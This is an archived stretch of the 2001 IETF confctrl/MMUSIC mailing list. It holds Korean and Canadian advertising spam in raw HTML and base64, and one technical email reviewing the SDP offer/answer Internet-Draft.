Zz0iMCIgd2lkdGg9IjQ5NSIgYmdjb2xvcj0iI0ZGRkY5OSI+DQoNCiAgICA8dHI+DQoNCiAg
ICAgICAgPHRkIHdpZHRoPSI0OTUiIGhlaWdodD0iMTEiPg0KDQogICAgICAgICAgICA8cCBz
dHlsZT0ibGluZS1oZWlnaHQ6MTMwJTsiPjxGT05UIHNpemU9Mj4mbmJzcDsmbmJzcDuxpLDt
ILjewM8gDQoNCiAgICAgICAgICAgIMDUtM+02S48YnI+IA0KDQogICAgICAgICAgICAmbmJz
cDsmbmJzcDu+yLPnx8+9yrTPse4gISAmbmJzcDsmbmJzcDs8L0ZPTlQ+PGEgaHJlZj0iaHR0
cDovL3d3dy53b29qZW9uLm5ldCI+PGZvbnQgc2l6ZT0iMiI+d3d3Lndvb2plb24ubmV0PC9m
b250PjwvYT48Rk9OVCBzaXplPTI+IA0KDQogICAgICAgICAgICC/7r+1wNrA1LTPtNkuPGJy
PiAmbmJzcDsmbmJzcDvH47b0vvjAzCC43sDPwLsgteW3wSC067TcyPcgwcu828fVtM+02S4g
DQoNCiAgICAgICAgICAgIMGkwd/I9yC+58fYuKYgus7FubXluLO0z7TZLjxicj4gJm5ic3A7
Jm5ic3A7v/jHz8H2IL7KtMIguN7Az8DMtvO46SANCg0KICAgICAgICAgICAgvsa3ocDHICZx
dW90O7z2vcWwxbrOJnF1b3Q7ILn2xrDAuyC0rbevIMHWvcO46Txicj4gJm5ic3A7Jm5ic3A7
tNm9w7TCIA0KDQogICAgICAgICAgICCxzcfPsrIgsKHB9iC+yrW1t88gyK69x8fPsNQgw7O4
riDHz7DavcC0z7TZLjxicj4gJm5ic3A7Jm5ic3A7sc3Hz7KyIA0KDQogICAgICAgICAgICC+
4LCjwMcgsMewrcGkuri/oSC1tb/ywMwgtcKwpSC52bbzuOcgvce3yrChILXGvvq02bjpPGJy
PiAmbmJzcDsmbmJzcDu02b3DIA0KDQogICAgICAgICAgICDH0bn4ILvnsPrAxyC4u764ILXl
uLO0z7TZLiCwqLvnx9W0z7TZLjwvRk9OVD48L3A+DQoNCiAgICAgICAgPC90ZD4NCg0KICAg
IDwvdHI+DQoNCiAgICA8dHI+DQoNCiAgICAgICAgPHRkIHdpZHRoPSI0OTUiIGhlaWdodD0i
MTM3Ij4NCg0KICAgICAgICAgICAgPHAgc3R5bGU9ImxpbmUtaGVpZ2h0OjEyMCU7Ij4mbmJz
cDs8Yj4xLiCx6Lq0sO8gx9HAx7vnsKEgsLO538fRIA0KDQogICAgICAgICAgICC8vLDowK/A
z8DHILTcwPwgsK3IrbHisbg8YnI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZxdW90O7Tc
wPy6p8auJnF1b3Q7uKYgDQoNCiAgICAgICAgICAgILzSsLPH1bTPtNkuPGJyPiAmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDvH48HYwMcgtb/Ax7q4sKjAuyDH0bi2tfC3ziANCg0KICAgICAg
ICAgICAgv+S+4MfPuOkmbmJzcDs8YnI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZxdW90
O8fHsKEgv8Kx4rimILnewLi46SANCg0KICAgICAgICAgICAgvLHH98DMILXHsO0sIMfHsKEg
s8Ox4rimILnewLi46SA8YnI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO77ux/fA
zCC1y7TPtNkmcXVvdDsmbmJzcDvAzrWlIA0KDQogICAgICAgICAgICC03MD8wLsgtaW/9sHW
uOkgyKXFucfRIMfHuKYguLyw1CA8YnI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw
O8fYwda5x7fOIA0KDQogICAgICAgICAgICC8+MitseKw6MXrwMcgDQoNCiAgICAgICAgICAg
IMH6urTAuyC/ubnmx8+w7SDEobfhx9W0z7TZLjwvYj48L3A+DQoNCiAgICAgICAgPC90ZD4N
Cg0KICAgIDwvdHI+DQoNCiAgICA8dHI+DQoNCiAgICAgICAgPHRkIHdpZHRoPSI0OTUiIGhl
aWdodD0iMjAiPg0KDQogICAgICAgICAgICA8cD4mbmJzcDs8Yj4yLiC03MD8uqfGrrimIML4
v+vHz7DtIMfPt+e4uL+hILTAs6UgvPYgwNa0wsi/sPq0wjwvYj48L3A+DQoNCiAgICAgICAg
PC90ZD4NCg0KICAgIDwvdHI+DQoNCiAgICA8dHI+DQoNCiAgICAgICAgPHRkIHdpZHRoPSI0
OTUiIGhlaWdodD0iNTkiPg0KDQogICAgICAgICAgICA8dGFibGUgY2VsbHBhZGRpbmc9IjIi
IGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iNDc2IiBhbGlnbj0iY2VudGVyIj4NCg0KICAgICAg
ICAgICAgICAgIDx0cj4NCg0KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwOSIg
aGVpZ2h0PSI3MCI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJyaWdo
dCI+PGI+s7LA2sDHILDmv+w6PGJyPiZuYnNwOzxicj4mbmJzcDs8L2I+PC9wPg0KDQogICAg
ICAgICAgICAgICAgICAgIDwvdGQ+DQoNCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNTkiIGhlaWdodD0iNzAiPiAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJs
ZWZ0Ij48Rk9OVCBzaXplPSIzIj68+sC7ILXlvcXIxCC03MDcuqfGrrimIML4v+vHz7DtIMHW
uau9w7jpPGJyPiANCg0KICAgICAgICAgICAgICAgICAgICAgICAgvsbEp7+hIA0KDQogICAg
ICAgICAgICAgICAgICAgICAgICDAz77us6q9xyC2pyDAzMD8v6EguvHHz7jpILPutvO/7zxi
cj4gwaS1tbfOIA0KDQogICAgICAgICAgICAgICAgICAgICAgICC898PrsKEgvvi+7sH2sO0g
uPbAzCCwobvTx9TAuyC0wLOmtM+02S48L0ZPTlQ+Jm5ic3A7PC9wPg0KDQogICAgICAgICAg
ICAgICAgICAgIDwvdGQ+DQoNCiAgICAgICAgICAgICAgICA8L3RyPg0KDQogICAgICAgICAg
ICAgICAgPHRyPg0KDQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTA5IiBoZWln
aHQ9IjQ1Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPHAgYWxpZ249InJpZ2h0Ij48
Yj6/qcDawMcgsOa/7Do8YnI+Jm5ic3A7PC9iPjwvcD4NCg0KICAgICAgICAgICAgICAgICAg
ICA8L3RkPg0KDQogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzU5IiBoZWlnaHQ9
IjQ1Ij4gICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0icGFnZS1icmVhay1iZWZv
cmU6YWx3YXlzOyIgYWxpZ249ImxlZnQiPjxGT05UIHNpemU9IjMiPrv9uK6x4r+hILTcwPy6
p8auuKYgwvi/68fPuOkgu/24rsXrwMw8YnI+IA0KDQogICAgICAgICAgICAgICAgICAgICAg
ICDAzMD8v6EgDQoNCiAgICAgICAgICAgICAgICAgICAgICAgILrxx8+/qSC+9sO7s6qw1CCw
qLzSx9TAuyC0wLOmtM+02S48L0ZPTlQ+PC9wPg0KDQogICAgICAgICAgICAgICAgICAgIDwv
dGQ+DQoNCiAgICAgICAgICAgICAgICA8L3RyPg0KDQogICAgICAgICAgICA8L3RhYmxlPg0K
DQogICAgICAgIDwvdGQ+DQoNCiAgICA8L3RyPg0KDQogICAgPHRyPg0KDQogICAgICAgIDx0
ZCB3aWR0aD0iNDk1IiBoZWlnaHQ9IjE3MSI+ICAgICAgICAgICAgPHAgc3R5bGU9ImxpbmUt
aGVpZ2h0OjE1MCU7IiBhbGlnbj0ibGVmdCI+PGI+My4gtNzA/Lqnxq64piDB9rzTwPvAuLfO
KMfPt+cgDQoNCiAgICAgICAgICAgIDO9w7CjKSDC+L/rx8+46Txicj4mbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsxLiDA5cDMILOqu9q9xbrQLyANCg0KICAgICAgICAg
ICAguq+68SAvILz3uq88YnI+IA0KDQogICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsm
bmJzcDsmbmJzcDsmbmJzcDsyLiC8+MivseKw6MXrwMcgwfq6tA0KDQogICAgICAgICAgICA8
YnI+ICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzMuILq5us6zw8GkIDog
urm6zrChIA0KDQogICAgICAgICAgICCzw8fPv6kgu/2x4rTCILCiwb7B+rq0Li4uPGJyPiAm
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs0LiANCg0KICAgICAgICAgICAg
v6y8vLXlvcUgus648LTUIDogseK3wsDMILazvu7B+CC6zrjwtNQ8YnI+ICZuYnNwOyZuYnNw
OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzUuIMGkt8LAzCANCg0KICAgICAgICAgICAgx/bA
+sj3ILazvu7BriCw7bCzvPfAziCzssDav6Gw1CCxx8fYteW4s7TPtNkuPGJyPiZuYnNwOzxm
b250IGNvbG9yPSJibGFjayI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ni4gwOWw
xbiuIA0KDQogICAgICAgICAgICC/7sD8wNrAxyDBucC9uebB9jwvZm9udD48YnI+PC9iPjwv
cD4NCg0KICAgICAgICA8L3RkPg0KDQogICAgPC90cj4NCg0KICAgIDx0cj4NCg0KICAgICAg
ICA8dGQgd2lkdGg9IjQ5NSIgaGVpZ2h0PSIxMTkiIGJnY29sb3I9IiM5OUZGRkYiPg0KDQog
ICAgICAgICAgICA8cCBhbGlnbj0ibGVmdCI+PGI+NC4gv6y29MOzIDogMDUxIC0gODA4IC0g
ODY1NiZsdDu9xb/rxKu15SCxuMDUsKG0ySZndDs8YnI+IA0KDQogICAgICAgICAgICA8L2I+
Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7wNq8vMfRILO7v+vAuiA8YSBocmVmPSJodHRwOi8v
d3d3Lndvb2plb24ubmV0Ij5odHRwOi8vd3d3Lndvb2plb24ubmV0PC9hPrimIA0KDQogICAg
ICAgICAgICDC/MG2x8+9w7HmILnZtvi0z7TZLjxicj4gJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i
c3A7sMewrcC7wKfH2CDB8bDcw6Ox4iANCg0KICAgICAgICAgICAgPEEgb25jbGljaz0ie3dp
bmRvdy5leHRlcm5hbC5BZGRGYXZvcml0ZSgnaHR0cDovL0FERFJFU1MnLCAnxcKx17/NIMDa
udkgvbrFqbizxq4nKX0iIA0KDQpocmVmPSIjIj48Rk9OVCBzaXplPTI+PElNRyBoZWlnaHQ9
MzAgYWx0PSLAzb26x8O3zrevIMD8v+siIHNyYz0iZmlsZTovLy9FfC93b28vbWFpbC0xL2Ns
aXBicmQuZ2lmIiANCg0Kd2lkdGg9MjEgYm9yZGVyPTA+PC9GT05UPjwvQT48Rk9OVCBzaXpl
PTI+IDwvRk9OVD7H2LXOvLy/5DxGT05UIHNpemU9Mj4uPC9GT05UPjwvcD4NCg0KPFAgYWxp
Z249ImNlbnRlciI+PGZvbnQgc2l6ZT0iMiIgY29sb3I9IiM5OTAwMDAiPqHfIA0KDQogICAg
ICAgICAgICC89r3FsMW6zsfPvcO46SC6uLO7wfYgvsqw2r3AtM+02S48L2ZvbnQ+PEEgDQoN
CmhyZWY9Im1haWx0bzp3b29qZW9uMTFAa29ybmV0Lm5ldD9zdWJqZWN0Pbz2vcWwxbrOJmFt
cDtib2R5PbjewM8gvPa9xcC7ICCwxbrOx9W0z7TZIj48Zm9udCBzaXplPSIyIiBjb2xvcj0i
Ymx1ZSI+KLz2vcWwxbrOKTwvZm9udD48L0E+PEZPTlQgc2l6ZT0yPiANCg0KICAgICAgICAg
ICAgPC9GT05UPjxmb250IHNpemU9IjIiIGNvbG9yPSIjOTkwMDAwIj6h3zwvZm9udD4gDQoN
CjwvUD4gICAgICAgIDwvdGQ+DQoNCiAgICA8L3RyPg0KDQo8L3RhYmxlPg0KDQo8L2JvZHk+
DQoNCiANCg0KPC9odG1sPg0KDQogDQo=

------=_NextPart_000_0227_01C0F27A.93A32C00--


From confctrl-owner  Mon Nov 26 08:28:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA01670
	for confctrl-outgoing; Mon, 26 Nov 2001 08:28:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA01665
	for <confctrl@zephyr.isi.edu>; Mon, 26 Nov 2001 08:28:10 -0800 (PST)
Received: from relay2.kornet.net ([211.48.62.162])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAQGSlg04922
	for <confctrl@isi.edu>; Mon, 26 Nov 2001 08:28:47 -0800 (PST)
Received: from localhost (61.72.136.249) by relay2.kornet.net; 27 Nov 2001 01:28:39 +0900
Message-ID: <3c026db73c0f8823@relay2.kornet.net> (added by relay2.kornet.net)
Reply-To: salearea3@airtkcketauction.co.kr
From: (ÁÖ)Ç×°ø±Ç°æ¸Å<happydawn@orgio.net>
To: confctrl@ISI.EDU
Subject: [±¤°í]°¡Àå Àú·ÅÇÑ Ç×°ø±ÇÀº Ç×°ø±Ç°æ¸Å¸¦ ÀÌ¿ëÇϼ¼¿ä.
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Tue, 27 Nov 2001 01:34:48 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<!-- saved from url=(0022)http://internet.e-mail -->
<html>

<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
<title>¡Ø ÀÌ ¸ÞÀÏÀº °Ô½ÃÆÇ¿¡¼­ ÀÓÀÇ·Î »ÌÀº °ÍÀÌ¿À´Ï,À̸ÞÀÏ ÀÌ¿Ü´Â ¾î¶°ÇÑ °³ÀÎÀÚ·áµµ ¾ËÁö ¸ø</title>
<meta name="generator" content="Namo WebEditor v5.0">
<style>

body {font-size:12px;}

p  {font-size:12px;}

td  {font-size:12px;}

a  {TEXT-DECORATION: NONE; COLOR:#000099}

a:hover {TEXT-DECORATION: NONE;  COLOR:#0000ff}

text {font-size:12px;}

select {font-size:9pt; line-height:9pt;}



</style>
</head>

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red" style="font-size:9pt;">
<table border="1" cellspacing="0" width="548" bordercolordark="white" bordercolorlight="#CCCCCC">
    <tr>
        <td width="749">
            <p><img src="http://www.airticketauction.co.kr/mcm_event.gif" width="548" height="363" border="0"></p>
            <table align="center">

<TR>
<TD>&nbsp;&nbsp;¡Ø ÀÌ ¸ÞÀÏÀº °Ô½ÃÆÇ¿¡¼­ ÀÓÀÇ·Î »ÌÀº °ÍÀÌ¿À´Ï,À̸ÞÀÏ ÀÌ¿Ü´Â ¾î¶°ÇÑ °³ÀÎÀÚ·áµµ ¾ËÁö ¸ø<BR>&nbsp;&nbsp;&nbsp;&nbsp;ÇÕ´Ï´Ù.ÀÓÀÇÀûÀ¸·Î ó¸®ÇÑ ¸ÞÀÏ¿¡ ´ëÇؼ­´Â 
¼ö½Å°ÅºÎÇÏ¿© ÁÖ½Ã¸é ¸ÞÀÏÀ» ¹ß¼ÛÇÏÁö ¾Êµµ·Ï<BR>&nbsp;&nbsp;&nbsp;&nbsp;ÇÏ°Ú½À´Ï´Ù. </TD></TR>
<TR>
<FORM name=event action=form6.cgi method=post>
<TD align=middle height=54>¢Ñ <a href='mailto:delmail@airticketauction.co.kr?subject=¼ö½Å°ÅºÎ&amp;body=¸ÞÀϼö½ÅÀ»°ÅºÎÇÕ´Ï´Ù">'>¼ö½Å°ÅºÎ</a> </TD></FORM></TR>
        </table>
    </td>
    </tr>
</table>
<p>&nbsp;</p>
</body>

</html>

From confctrl-owner  Mon Nov 26 09:12:03 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA03767
	for confctrl-outgoing; Mon, 26 Nov 2001 09:12:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA03761
	for <confctrl@zephyr.isi.edu>; Mon, 26 Nov 2001 09:12:01 -0800 (PST)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAQHCfg24843
	for <confctrl@ISI.EDU>; Mon, 26 Nov 2001 09:12:41 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fAQHBol00434;
	Mon, 26 Nov 2001 09:11:56 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id fAQHBmP13921;
	Mon, 26 Nov 2001 09:11:48 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id JAA06959; Mon, 26 Nov 2001 09:11:45 -0800 (PST)
Message-ID: <3C0277D6.2A34E923@cisco.com>
Date: Mon, 26 Nov 2001 12:11:51 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: Comments on <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>
References: <3BE8718D.3C6F4AB7@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I haven't seen any response to this, so I'm trying again.

-- Flemming

Flemming Andreasen wrote:

> Thanks for putting together
> <draft-rosenberg-mmusic-sdp-offer-answer-00.txt>. A couple of questions
> and comments:
>
> - Section 2 specifies that "Either an e line or p line MUST be present."
> however this was made optional in <draft-ietf-mmusic-sdp-new-03.txt>. In
> general, I think we should avoid stating or repeating requirements that
> belong in the SDP specification itself.
>
> - Section 2 mentions that SDP allows for concatenation of multiple
> session descriptions. I can't seem to find this in the SDP spec - where
> does it say that ?
>
> - Section 2 says that "Once the offerer has sent the offer, it MUST be
> prepared to receive media described by that offer." For send/receive
> media streams, I believe the offerer must also be prepared to send such
> media (although obviously it can't until it gets the answer).
>
> - Section 2.1: I share the concerns raised by others about the following
> sentence: "When receiving multiple streams of the same type, the streams
> MUST be mixed before playing them out". This seems overly restrictive.
>
> - Section 3: The sentence "The definition of rejected is both neither
> offerer and answerer MUST NOT generate media (or RTCP packets) for that
> stream." doesn't seem to parse quite right.
>
> - Section 3 says that "Once the answer has been sent, the answerer MUST
> be prepared to receive media as described in the answer.". For
> send/receive streams I believe the answerer must also be prepared to
> send such media.
>
> - Section 3.1. says (for sendrecv media streams) that "The stream MAY
> indicate additional codecs, not listed in the corresponding stream in
> the offer, that the answerer is willing to receive with." This makes the
> interpretation of the codecs listed context-dependent which is fairly
> unfortunate. If the answerer wishes to add additional codecs to the
> sendrecv stream, he should be able to both send and receive those codecs
> (regardless of whether the offerer seems interested in receiving media
> encoded with such codecs).
>
> - Section 4.3 says that "The offerer MUST NOT cease listening for media
> on the old port until media arrives on the new port. At that time, it
> MAY cease listening for media on the old port.". This means that you
> allow the presence of media to serve as confirmation of your offer. I
> think this opens up a race condition and would prefer getting the answer
> back as well.
>
> - Section 4.3. says that "When a new codec is used with a dynamic
> payload type number, it MUST NOT reuse a dynamic payload type number
> used previously in the session.". I don't think the sentence accurately
> captures the intention (since "new codec" seems to simply refer to the
> most recent offer) which I belive is simply to forbid changing the
> mapping from a given payload type to a given codec. If that mapping was
> done X offer/invite exchanges ago, and we want to reuse it now, it
> should be allowed.
>
> - Section 4.3 is silent on what the offerer and answerer do with the
> codecs (and media types) from the previous successful offer/answer. At
> what point do the offerer and answerer stop accepting media according to
> the old offer and answer ? Also, what happens if the offer is rejected ?
>
> - Finally, for generality, the I-D should probably avoid some of the SIP
> specific wording (e.g. "re-INVITE", "sending a SIP message") and simply
> talk about sending offers and answers.
>
> Thanks
>
>         Flemming
>
> --
> Flemming Andreasen
> Cisco Systems

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Mon Nov 26 11:57:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA11265
	for confctrl-outgoing; Mon, 26 Nov 2001 11:57:28 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA11260
	for <confctrl@zephyr.isi.edu>; Mon, 26 Nov 2001 11:57:27 -0800 (PST)
Received: from tomts8-srv.bellnexxia.net (tomts8.bellnexxia.net [209.226.175.52])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAQJw6g08289
	for <confctrl@isi.edu>; Mon, 26 Nov 2001 11:58:06 -0800 (PST)
Received: from bilol01server ([199.243.132.89])
          by tomts8-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP
          id <20011126195759.QIDM13234.tomts8-srv.bellnexxia.net@bilol01server>
          for <confctrl@isi.edu>; Mon, 26 Nov 2001 14:57:59 -0500
To: confctrl@ISI.EDU
X-Mailer: 31f4880f67ce1da82e603cd8c0e383dd
From: business_news@canada.com
Subject: Mike McRae, Thank you for your interest!
Organization: Canadian Maple Pages
MIME-Version: 1.0
Content-Type: multipart/mixed; 
	boundary="=200111261448="
Message-Id: <20011126195759.QIDM13234.tomts8-srv.bellnexxia.net@bilol01server>
Date: Mon, 26 Nov 2001 14:58:00 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=200111261448=
Content-Type: text/html;charset=US-ASCII

<!-- saved from url=(0022)http://internet.e-mail -->
<html>

<head>
<title>Thank you for your interest in advertising in the Canadian Maple Pages Catalogue
and Directory</title>
<link rel="stylesheet" type="text/css" href="http://www.bilol.net/style/tbl.css">
</head>

<body>
<div align="center"><center>

<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="100%" valign="top"><div align="center"><center><table width="98%" cellspacing
    cellpadding>
      <tr>
        <td height="42" valign="top"><p align="center"><b>Thank you for your interest in
        advertising in <br>
        the Canadian Maple Pages Catalogue and Directory.</b></td>
      </tr>
      <tr>
        <td height="28" valign="middle" bgcolor="#F1BB49"><b><p align="center"><a
        href="http://www.maplepages.com/search"><b>http://www.maplepages.com/search</b></a> </b></td>
      </tr>
      <tr>
        <td background="http://www.bilol.net/images/line-g.gif"><img
        src="http://www.bilol.net/images/spacer.gif" width="1" height="1"></td>
      </tr>
      <tr>
        <td><p align="center"><b><font color="red">2 easy steps to order this service</font></b></td>
      </tr>
      <tr>
        <td background="http://www.bilol.net/images/line-g.gif"><img
        src="http://www.bilol.net/images/spacer.gif" width="1" height="1"></td>
      </tr>
      <tr>
        <td height="50"><p align="center"><b>First step:</b> Choose package<br>
        <b>Second step:</b> Pay by credit card on secure server. We accept VISA, MasterCard,
        American Express.</td>
      </tr>
      <tr>
        <td background="http://www.bilol.net/images/line-g.gif"><img
        src="http://www.bilol.net/images/spacer.gif" width="1" height="1"></td>
      </tr>
      <tr>
        <td height="45"><p align="center"><b>You have 2 package choices to select from. We
        presently <font color="#FF0000">recommend Internet Package</font> as the best value choice
        in providing maximum internet exposure of your company.</b></td>
      </tr>
      <tr>
        <td background="http://www.bilol.net/images/line-g.gif"><img
        src="http://www.bilol.net/images/spacer.gif" width="1" height="1"></td>
      </tr>
      <tr>
        <td height="4"></td>
      </tr>
      <tr>
        <td height="30"><img src="http://www.bilol.net/images/creditcards_pro.jpg" width="99"
        height="20"> We accept: Visa, Mastercard, American Express.</td>
      </tr>
      <tr>
        <td background="http://www.bilol.net/images/line-g.gif"><img
        src="http://www.bilol.net/images/spacer.gif" width="1" height="1"></td>
      </tr>
    </table>
    </center></div><div align="center"><center><table border="1" cellpadding="3"
    cellspacing="0" bordercolor="#808080" width="98%">
      <tr>
        <td width="381" colspan="2"><img height="11"
        src="http://www.bilol.net/images/include1-button1.gif" width="10"><b> PROMOTION PACKAGES</b></td>
        <td width="107" align="center" bgcolor="#EAEAEA">&nbsp;</td>
        <td width="47" align="center" bgcolor="#F1F1E2">&nbsp;</td>
      </tr>
      <tr>
        <td width="142" valign="top"><p align="center"><b>Discription</b></td>
        <td width="231" align="center" valign="top"><b>Visual Sample</b></td>
        <td width="107" align="center" bgcolor="#EAEAEA" valign="top"><b>Full Package<br>
        </b></td>
        <td width="107" align="center" bgcolor="#F1F1E2" valign="top"><b>Internet Package</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Full colour advertisement in 100,000 hard cover Directories.<br>
        Available in 1/4, 1/2 and Full Page options.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-book.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="106" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-m.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="106" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Electronic version of your advertisement will be featured in CD.<br>
        100,000 CD's will be delivered to industry/government decision makers; and will be handed
        out as promotions at trade shows, in trade commissioners offices.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-cds.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="106" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-m.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="106" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>CMP will design and create your corporate CLIENT SHOWCASE PAGE.<br>
        CLIENT SHOWCASE page will have a link to your web site. </td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-custompage.gif" width="160"
        height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="105" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="105" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>CMP will design and create your corporate BANNER.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-banner.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="105" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="105" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Active BANNER will rotate through the 'Result Page' web site. Your
        company profile will be priority listed in the &quot;Canadian Company Data Search&quot;,
        demonstrating your BANNER.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-result.gif" width="160" height="120"></td>
        <td width="107" align="center" bgcolor="#EAEAEA"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
        <td width="104" align="center" bgcolor="#F1F1E2"><img
        src="http://www.bilol.net/include1/images/1promotion-c.gif" width="20" height="20"></td>
      </tr>
      <tr>
        <td width="142">&nbsp;</td>
        <td width="231" align="center">&nbsp;</td>
        <td width="107" align="center" bgcolor="#EAEAEA"><b>Full</b></td>
        <td width="104" align="center" bgcolor="#F1F1E2"><b>#1</b></td>
      </tr>
      <tr>
        <td width="142"><img height="11" src="http://www.bilol.net/images/include1-button1.gif"
        width="10"><b> </b>Active BANNER will rotate through the 'Client Showcase' web site.</td>
        <td width="231" align="center"><img
        src="http://www.bilol.net/include1/images/promotion-showcase.gif" width="160" height="120"></td>
